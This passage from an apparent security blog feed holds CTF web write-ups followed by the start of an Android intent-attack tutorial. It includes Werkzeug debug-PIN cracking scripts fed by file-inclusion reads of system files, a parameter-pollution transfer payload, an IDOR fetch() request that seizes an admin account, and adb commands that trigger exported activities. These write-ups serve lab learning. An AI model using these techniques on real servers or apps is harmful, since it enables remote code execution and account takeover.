Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://34.65.29.51:3280/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

url=60b5a867a1af82011f038b1fa6b2f2fb.serveo.net/tmp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;you will get the flag&lt;/p&gt;
&lt;p&gt;&lt;code&gt;YAO{1m_4_5up3r_541y4n_blu3_g0g3t4}&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Hambozo&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;at first let’s see the source code as bellow there are 3 endpoint , and notice the &lt;code&gt;debug&lt;/code&gt; is enabled&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./Aswan%20CTF%20Web%20Writeups/Hambozo/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the main page , doesn’t have anything interesting ,note: (there is no SSTI even the render_template is here but there is no controlled input that we can exploit)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./Aswan%20CTF%20Web%20Writeups/Hambozo/image%201.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;let’s check next section endpoint &lt;code&gt;/say_Hello&lt;/code&gt; , it uses parameter name according to the source code , here there is xss but it doesn’t matter as there is no cookies so it won’t benefit us.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./Aswan%20CTF%20Web%20Writeups/Hambozo/image%202.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Aswan%20CTF%20Web%20Writeups/Hambozo/image%203.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;but there is something interesting which is there is not &lt;code&gt;else&lt;/code&gt; for what will the server do if there is no parameter name&lt;/li&gt;
&lt;li&gt;so when we remove the parameter that what’s we get&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./Aswan%20CTF%20Web%20Writeups/Hambozo/image%204.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;when we try to open the terminal we get that pin code validation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./Aswan%20CTF%20Web%20Writeups/Hambozo/image%205.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;after searching i got that exploit for generating the pin &lt;a href=&quot;https://hacktricks.boitatech.com.br/pentesting/pentesting-web/werkzeug&quot;&gt;https://hacktricks.boitatech.com.br/pentesting/pentesting-web/werkzeug&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import hashlib
from itertools import chain
probably_public_bits = [
    &apos;web3_user&apos;,# username
    &apos;flask.app&apos;,# modname
    &apos;Flask&apos;,# getattr(app, &apos;__name__&apos;, getattr(app.__class__, &apos;__name__&apos;))
    &apos;/usr/local/lib/python3.5/dist-packages/flask/app.py&apos; # getattr(mod, &apos;__file__&apos;, None),
]

private_bits = [
    &apos;279275995014060&apos;,# str(uuid.getnode()),  /sys/class/net/ens33/address
    &apos;d4e6cb65d59544f3331ea0425dc555a1&apos;# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode(&apos;utf-8&apos;)
    h.update(bit)
h.update(b&apos;cookiesalt&apos;)
#h.update(b&apos;shittysalt&apos;)

cookie_name = &apos;__wzd&apos; + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b&apos;pinsalt&apos;)
    num = (&apos;%09d&apos; % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = &apos;-&apos;.join(num[x:x + group_size].rjust(group_size, &apos;0&apos;)
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;but now we have a problem how to get these parameters&lt;/li&gt;
&lt;li&gt;we have file inclusion from the source code .&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./Aswan%20CTF%20Web%20Writeups/Hambozo/image%206.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Aswan%20CTF%20Web%20Writeups/Hambozo/image%207.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;so let’s use it&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;username : ctf (from /etc/passws)
macaddress : /sys/class/net/eth0/address
02:42:ac:19:00:02 -&amp;gt; print(int(0x0242ac190002))
2485378416642
id : /proc/sys/kernel/random/boot_id -&amp;gt; 4a5bc48c-6dd5-46d9-8096-ee57bf375bc4
note:we used /proc/sys/kernel/random/boot_id as /etc/machine-id is not found and according to the library it uses on of both but the priority is for /etc/machine-id 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;final exploit&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import hashlib
from itertools import chain
probably_public_bits = [
    &apos;ctf&apos;,# username
    &apos;flask.app&apos;,# modname
    &apos;Flask&apos;,# getattr(app, &apos;__name__&apos;, getattr(app.__class__, &apos;__name__&apos;))
    &apos;/usr/local/lib/python3.5/dist-packages/flask/app.py&apos; # getattr(mod, &apos;__file__&apos;, None),
]

private_bits = [
    &apos;2485378416642&apos;,# str(uuid.getnode()),  /sys/class/net/ens33/address
    &apos;4a5bc48c-6dd5-46d9-8096-ee57bf375bc4&apos;# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode(&apos;utf-8&apos;)
    h.update(bit)
h.update(b&apos;cookiesalt&apos;)
#h.update(b&apos;shittysalt&apos;)

cookie_name = &apos;__wzd&apos; + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b&apos;pinsalt&apos;)
    num = (&apos;%09d&apos; % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = &apos;-&apos;.join(num[x:x + group_size].rjust(group_size, &apos;0&apos;)
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;after that it doesn’t work&lt;/li&gt;
&lt;li&gt;so after more searching i reached that
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://ctftime.org/writeup/17955&quot;&gt;https://ctftime.org/writeup/17955&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bengrewell.com/cracking-flask-werkzeug-console-pin/&quot;&gt;https://www.bengrewell.com/cracking-flask-werkzeug-console-pin/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;now let’s try this exploit&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import hashlib
import itertools
from itertools import chain

def crack_md5(username, modname, appname, flaskapp_path, node_uuid, machine_id):
    h = hashlib.md5()
    crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)

def crack_sha1(username, modname, appname, flaskapp_path, node_uuid, machine_id):
    h = hashlib.sha1()
    crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)

def crack(hasher, username, modname, appname, flaskapp_path, node_uuid, machine_id):
    probably_public_bits = [
            username,
            modname,
            appname,
            flaskapp_path ]
    private_bits = [
            node_uuid,
            machine_id ]

    h = hasher
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode(&apos;utf-8&apos;)
        h.update(bit)
    h.update(b&apos;cookiesalt&apos;)

    cookie_name = &apos;__wzd&apos; + h.hexdigest()[:20]

    num = None
    if num is None:
        h.update(b&apos;pinsalt&apos;)
        num = (&apos;%09d&apos; % int(h.hexdigest(), 16))[:9]

    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = &apos;-&apos;.join(num[x:x + group_size].rjust(group_size, &apos;0&apos;)
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num

    print(rv)

if __name__ == &apos;__main__&apos;:

    usernames = [&apos;ctf&apos;]
    modnames = [&apos;flask.app&apos;, &apos;werkzeug.debug&apos;]
    appnames = [&apos;wsgi_app&apos;, &apos;DebuggedApplication&apos;, &apos;Flask&apos;]
    flaskpaths = [&apos;/usr/local/lib/python3.9/site-packages/flask/app.py&apos;]
    nodeuuids = [&apos;2485378416642&apos;]
    machineids = [&apos;4a5bc48c-6dd5-46d9-8096-ee57bf375bc4&apos;]

    # Generate all possible combinations of values
    combinations = itertools.product(usernames, modnames, appnames, flaskpaths, nodeuuids, machineids)

    # Iterate over the combinations and call the crack() function for each one
    for combo in combinations:
        username, modname, appname, flaskpath, nodeuuid, machineid = combo
        print(&apos;==========================================================================&apos;)
        crack_sha1(username, modname, appname, flaskpath, nodeuuid, machineid)
        print(f&apos;{combo}&apos;)
        print(&apos;==========================================================================&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;it will return list of pins , third one will work&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./Aswan%20CTF%20Web%20Writeups/Hambozo/image%208.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;now let’s get the flag&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./Aswan%20CTF%20Web%20Writeups/Hambozo/image%209.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;note: why we don’t get the flag with the LFI , as we don’t know the file name,as it’s randomly generated&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./Aswan%20CTF%20Web%20Writeups/Hambozo/image%2010.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Yaoguai Bank&lt;/h1&gt;
&lt;h3&gt;Step 1: Register an Account&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Visit register.html&lt;/li&gt;
&lt;li&gt;Create an account with any email/password&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step 2: Exploit Parameter Pollution to Gain Premium Status&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Log in to your new account&lt;/li&gt;
&lt;li&gt;Navigate to Transfer page (/front/transfer.html)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Create a transfer with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a second account and use its account number&lt;/li&gt;
&lt;li&gt;Amount: Any small amount like 10&lt;/li&gt;
&lt;li&gt;Reference Number: whatever&amp;amp;amount=20000000&lt;/li&gt;
&lt;li&gt;When the request reaches TransactionService.php, the URL becomes:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;http://internal-services:5000/transfer?reference_number=whatever&amp;amp;amount=20000000&amp;amp;from_account=YOUR_ACCOUNT&amp;amp;to_account=DEST_ACCOUNT&amp;amp;amount=100
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Flask&apos;s &lt;code&gt;request.args.get(&apos;amount&apos;)&lt;/code&gt; takes the first occurrence (20000000), giving you a large balance&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;checkPremium()&lt;/code&gt; function automatically promotes you to premium
&lt;img src=&quot;./Aswan%20CTF%20Web%20Writeups/Yaoguai%20Bank/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Step 3: Exploit the IDOR Vulnerability&lt;/h3&gt;
&lt;p&gt;Looking at the code in &lt;code&gt;[UsersRepository.php]&lt;/code&gt;, we can see the problematic function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
public static function EnsureEditUserAuthority($id,$OwnerId){
    $query = &quot;UPDATE users SET OwnerId = ? WHERE UserId = ?&quot;;
    $connection = DB::getInstance();
    $statement = $connection-&amp;gt;getConnection()-&amp;gt;prepare($query);
    $statement-&amp;gt;bind_param(&quot;dd&quot;,$OwnerId,$id);
    $statement-&amp;gt;execute();
    return $statement-&amp;gt;get_result();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Despite its name suggesting it&apos;s checking authorization, this function actually changes ownership in the database.
In &lt;code&gt;[UserController.php]&lt;/code&gt;, there are two contrasting implementations:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// For changing passwords - HAS ownership verification
public function changeSubUserPassword($data,$user){
    // ... 
    $userSub = $user-&amp;gt;getOwnedUsers();
    $validUser = false;
    foreach($userSub as $entry){
       if($entry[&apos;Id&apos;] === $data[&apos;id&apos;]){
           $validUser = true; // Verify ownership
           break;
       }
    }
    if(!$validUser) { /* Error */ }
    // ...
}

// For editing sub-users - NO ownership verification!
public function editSubUser($data,$user){
    if(!isset($data[&apos;id&apos;]) || !isset($data[&apos;newName&apos;])) {
        http_response_code(400);
        return json_encode([&quot;status&quot; =&amp;gt; &quot;error&quot;, &quot;message&quot; =&amp;gt; &quot;Enter All Fields&quot;]);
    }
    
    $service = new UsersService();
    return $service-&amp;gt;editSubUser($data[&apos;id&apos;],$data[&apos;newName&apos;],$user-&amp;gt;getId());
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;editSubUser&lt;/code&gt; function has no verification that you own the user you&apos;re trying to edit!&lt;/p&gt;
&lt;p&gt;How the Attack Works
When we make our request in the console(you can use burp):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fetch(&apos;../api/EditSubUser.php&apos;, {
  method: &apos;POST&apos;,
  headers: { &apos;Content-Type&apos;: &apos;application/json&apos; },
  body: JSON.stringify({
    id: 9050,  // ID of account 500
    newName: &quot;test&quot;
  })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This triggers a chain of calls:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;EditSubUser.php&lt;/code&gt; receives our request&lt;/li&gt;
&lt;li&gt;Calls &lt;code&gt;UserController-&amp;gt;editSubUser()&lt;/code&gt; with our data&lt;/li&gt;
&lt;li&gt;No ownership verification happens&lt;/li&gt;
&lt;li&gt;Calls &lt;code&gt;UsersService-&amp;gt;editSubUser(9050, &quot;test&quot;, YOUR_ID)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Calls &lt;code&gt;UsersRepository::EnsureEditUserAuthority(9050, YOUR_ID)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The SQL that executes is:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;UPDATE users SET OwnerId = YOUR_ID WHERE UserId = 9050
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This changes the database record in the users table from:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UserId: 9050, OwnerId: 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UserId: 9050, OwnerId: YOUR_ID
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now account &lt;code&gt;500&lt;/code&gt; (with ID &lt;code&gt;9050&lt;/code&gt;) belongs to you as its &lt;code&gt;owner&lt;/code&gt;, making you able to access it directly after changing its password.
&lt;img src=&quot;./Aswan%20CTF%20Web%20Writeups/Yaoguai%20Bank/image%201.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Step 4: Access the Sub-User to Get the Flag&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;From your profile page, you can now see account 500 as your sub-user&lt;/li&gt;
&lt;li&gt;Change its password using the &quot;Change Password&quot; button&lt;/li&gt;
&lt;li&gt;Log out and log in as account 500 using its email and your new password&lt;/li&gt;
&lt;li&gt;The flag appears as the name due to the condition in &lt;code&gt;SubUser.php&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
if($this-&amp;gt;getAccountNumber()&amp;lt;10000000){
    $this-&amp;gt;setName($_ENV[&apos;FLAG&apos;]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once account 500 was under our ownership, refreshed the profile page to view our sub-users. You can see that we now have that subuser listed on our profile&lt;/p&gt;
&lt;p&gt;Change the password of that &lt;code&gt;Admin@yao.com&lt;/code&gt;  and login&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Aswan%20CTF%20Web%20Writeups/Yaoguai%20Bank/image%202.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;YAO{b4nk_h3ck3d_cuz_greed}&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded></item><item><title>AddToHosts WSL2 Windows Script</title><link>https://ymuu.me/posts/wsl2/addtohosts-wsl2-windows-script/</link><guid isPermaLink="true">https://ymuu.me/posts/wsl2/addtohosts-wsl2-windows-script/</guid><description>A PowerShell script to simplify adding entries to Windows and WSL (Kali Linux) hosts files. Perfect for CTF setups, local development, or network testing.</description><pubDate>Wed, 05 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )&lt;/h2&gt;
&lt;p&gt;:::caution
#FreePalastine
:::&lt;/p&gt;
&lt;h1&gt;AddToHosts&lt;/h1&gt;
&lt;p&gt;The idea came when I was trying to play HTB or THM Machines using WSL2, I have my wsl2 in mirror mode so they can capture the same traffic, but since each one has its own hosts file, I needed to update both manually, so I said why not script it ?&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;ymuuuu/AddToHosts&quot;}&lt;/p&gt;
</content:encoded></item><item><title>Hextree.io Intent Attack Writeup Part 1</title><link>https://ymuu.me/posts/hextreeio/hextree-intent-attack-part1/</link><guid isPermaLink="true">https://ymuu.me/posts/hextreeio/hextree-intent-attack-part1/</guid><description>This writeup details the steps taken to solve Hextree.io Intent Attack Surface APK</description><pubDate>Mon, 03 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )&lt;/h1&gt;
&lt;p&gt;:::caution
#FreePalastine
:::&lt;/p&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;In this noob writeup we will explore the world of activities and intents, we will solve 7 challenges with 7 different flags and 7 different topics. We will be focusing on activities from Flag1 to Flag7. Enjoy!
:::warning
I am a noob android guy, if you find any mistake pls ignore, or maybe report it?&lt;br /&gt;
:::&lt;/p&gt;
&lt;h2&gt;Some Definitions Before We Start&lt;/h2&gt;
&lt;h3&gt;What is an Activity?&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;&quot;An activity is a single, focused thing that the user can do. Almost all activities interact with the user, so the Activity class takes care of creating a window for you in which you can place your UI.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;So an activity is what you mostly see on your screen, it can be the main app activity, a login activity, a note taking activity.&lt;/p&gt;
&lt;h3&gt;What is an Intent?&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;&quot;Declaring an intention to do something, and letting Android figure out the app that can handle it.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;So to start an activity, you need to create an &lt;strong&gt;intent&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;Our Attack Surface?&lt;/h3&gt;
&lt;p&gt;The primary attack surface in this context is the &lt;code&gt;getIntent()&lt;/code&gt; method. This feature is used to pass data to other apps, making it a major attack surface for potential vulnerabilities.&lt;/p&gt;
&lt;p&gt;with that being said, lets start!&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Flag1Activity&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;activity
    android:name=&quot;io.hextree.attacksurface.activities.Flag1Activity&quot;
    android:exported=&quot;true&quot;/&amp;gt;
&amp;lt;activity&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first thing to notice is that the activity is set to &lt;code&gt;exported=&quot;true&quot;&lt;/code&gt;, which means it can be called from outside the app.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    this.f = new LogHelper(this);
    this.f.addTag(&quot;basic-main-activity-avd2&quot;);
    success(this);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a simple activity. When created (or called), it will add a tag and invoke the &lt;code&gt;success()&lt;/code&gt; method.&lt;/p&gt;
&lt;p&gt;Since this does not require a Proof of Concept (POC) app, I will keep it simple and use &lt;code&gt;adb am&lt;/code&gt; to trigger the activity.&lt;/p&gt;
&lt;p&gt;Run the following command to check the logcat:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb logcat --pid=$(adb shell pidof -s io.hextree.attacksurface)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, execute this command to start the activity:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb shell am start -n io.hextree.attacksurface/.activities.Flag1Activity
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;start&lt;/code&gt;: Starts the activity.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;n&lt;/code&gt;: Specifies the component name.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;io.hextree.attacksurface&lt;/code&gt;: Package name.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.activities.Flag1Activity&lt;/code&gt;: Component name.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can also write it like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;io.hextree.attacksurface/io.hextree.attacksurface.activities.Flag1Activity
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However, I prefer to keep it concise. Now, check your app or logcat to see if the &lt;code&gt;success()&lt;/code&gt; method was called, and you should receive the flag!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;03-01 15:00:31.749  3417  3417 I Flag1   : success() called!
03-01 15:00:31.766  3417  3417 I Flag1   : HXT{xxxxxxx}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Flag2Activity&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;activity
    android:name=&quot;io.hextree.attacksurface.activities.Flag2Activity&quot;
    android:exported=&quot;true&quot;&amp;gt;
    &amp;lt;intent-filter&amp;gt;
        &amp;lt;action android:name=&quot;io.hextree.action.GIVE_FLAG&quot;/&amp;gt;
    &amp;lt;/intent-filter&amp;gt;
&amp;lt;/activity&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This one is different. We have an &lt;code&gt;intent-filter&lt;/code&gt; with an action name, which means the activity is also implicitly exported.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    this.f = new LogHelper(this);
    String action = getIntent().getAction();
    if (action == null || !action.equals(&quot;io.hextree.action.GIVE_FLAG&quot;)) {
        return;
    }
    this.f.addTag(action);
    success(this);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, the activity waits for an intent using &lt;code&gt;getIntent()&lt;/code&gt; and checks if the action is either &lt;code&gt;null&lt;/code&gt; or &lt;strong&gt;NOT&lt;/strong&gt; equal to &lt;code&gt;io.hextree.action.GIVE_FLAG&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If the condition is &lt;code&gt;true&lt;/code&gt;, it returns nothing.&lt;/li&gt;
&lt;li&gt;If the condition is &lt;code&gt;false&lt;/code&gt;, it calls the &lt;code&gt;success()&lt;/code&gt; method.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Again, we can use the &lt;code&gt;adb&lt;/code&gt; command to trigger this activity:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb shell am start -n io.hextree.attacksurface/.activities.Flag2Activity -a io.hextree.action.GIVE_FLAG
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;a&lt;/code&gt;: Specifies the action name.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;03-01 15:11:08.432  3417  3417 I Flag2   : success() called!
03-01 15:11:08.442  3417  3417 I Flag2   : HXT{xxxxxx}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Flag3Activity&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;activity
    android:name=&quot;io.hextree.attacksurface.activities.Flag3Activity&quot;
    android:exported=&quot;true&quot;&amp;gt;
    &amp;lt;intent-filter&amp;gt;
        &amp;lt;action android:name=&quot;io.hextree.action.GIVE_FLAG&quot;/&amp;gt;
        &amp;lt;data android:scheme=&quot;https&quot;/&amp;gt;
    &amp;lt;/intent-filter&amp;gt;
&amp;lt;/activity&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is similar to &lt;strong&gt;Flag2Activity&lt;/strong&gt;, but there’s an additional &lt;code&gt;&amp;lt;data&amp;gt;&lt;/code&gt; element with the &lt;code&gt;scheme&lt;/code&gt; attribute set to &lt;code&gt;https&lt;/code&gt;. Let’s explore what this means by examining the activity itself.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    this.f = new LogHelper(this);
    Intent intent = getIntent();
    String action = intent.getAction();
    if (action == null || !action.equals(&quot;io.hextree.action.GIVE_FLAG&quot;)) {
        return;
    }
    this.f.addTag(action);
    Uri data = intent.getData();
    if (data == null || !data.toString().equals(&quot;&amp;lt;https://app.hextree.io/map/android&amp;gt;&quot;)) {
        return;
    }
    this.f.addTag(data);
    success(this);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, it waits for the same action as &lt;strong&gt;Flag2Activity&lt;/strong&gt;. However, if the condition is &lt;code&gt;false&lt;/code&gt;, it also checks the &lt;code&gt;Uri&lt;/code&gt; data to ensure it matches &lt;code&gt;https://app.hextree.io/map/android&lt;/code&gt; (remember the &lt;code&gt;scheme&lt;/code&gt;?).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If the data is &lt;code&gt;null&lt;/code&gt; or &lt;strong&gt;NOT&lt;/strong&gt; equal to the specified URI, it returns nothing.&lt;/li&gt;
&lt;li&gt;If the data matches, it calls the &lt;code&gt;success()&lt;/code&gt; method.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To trigger this activity, we’ll use the &lt;code&gt;adb&lt;/code&gt; command again:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb shell am start -n io.hextree.attacksurface/.activities.Flag3Activity -a io.hextree.action.GIVE_FLAG -d https://app.hextree.io/map/android
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;d&lt;/code&gt;: Specifies the data URI.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;03-01 15:18:03.264  3417  3417 I Flag3   : success() called!
03-01 15:18:03.273  3417  3417 I Flag3   : HXT{xxxxx}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Flag4Activity&lt;/h1&gt;
&lt;p&gt;Now things are getting more interesting! This activity introduces some complexity and requires deeper research. Let’s dive in.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;activity
    android:name=&quot;io.hextree.attacksurface.activities.Flag4Activity&quot;
    android:exported=&quot;true&quot;/&amp;gt;
&amp;lt;activity&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At first glance, this is just a normal explicitly exported activity. Let’s dig deeper.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public enum State {
    INIT(0),
    PREPARE(1),
    BUILD(2),
    GET_FLAG(3),
    REVERT(4);

    private final int value;

    State(int i) {
        this.value = i;
    }

    public int getValue() {
        return this.value;
    }

    public static State fromInt(int i) {
        for (State state : values()) {
            if (state.getValue() == i) {
                return state;
            }
        }
        return INIT;
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important
Only Engineers will get it (kidding)
:::
The first thing that came to my mind when I saw this was &lt;strong&gt;state machines&lt;/strong&gt;. If you’re familiar with state machines, you’ll know they define a flow that determines the current state, the next state, and the actions associated with each state.&lt;/p&gt;
&lt;p&gt;Going deeper, we find the main function (I assume) called &lt;code&gt;stateMachine&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public void stateMachine(Intent intent) {
    String action = intent.getAction();
    int ordinal = getCurrentState().ordinal();
    if (ordinal != 0) {
        if (ordinal != 1) {
            if (ordinal != 2) {
                if (ordinal == 3) {
                    this.f.addTag(State.GET_FLAG);
                    setCurrentState(State.INIT);
                    success(this);
                    Log.i(&quot;Flag4StateMachine&quot;, &quot;solved&quot;);
                    return;
                }
                if (ordinal == 4 &amp;amp;&amp;amp; &quot;INIT_ACTION&quot;.equals(action)) {
                    setCurrentState(State.INIT);
                    Toast.makeText(this, &quot;Transitioned from REVERT to INIT&quot;, 0).show();
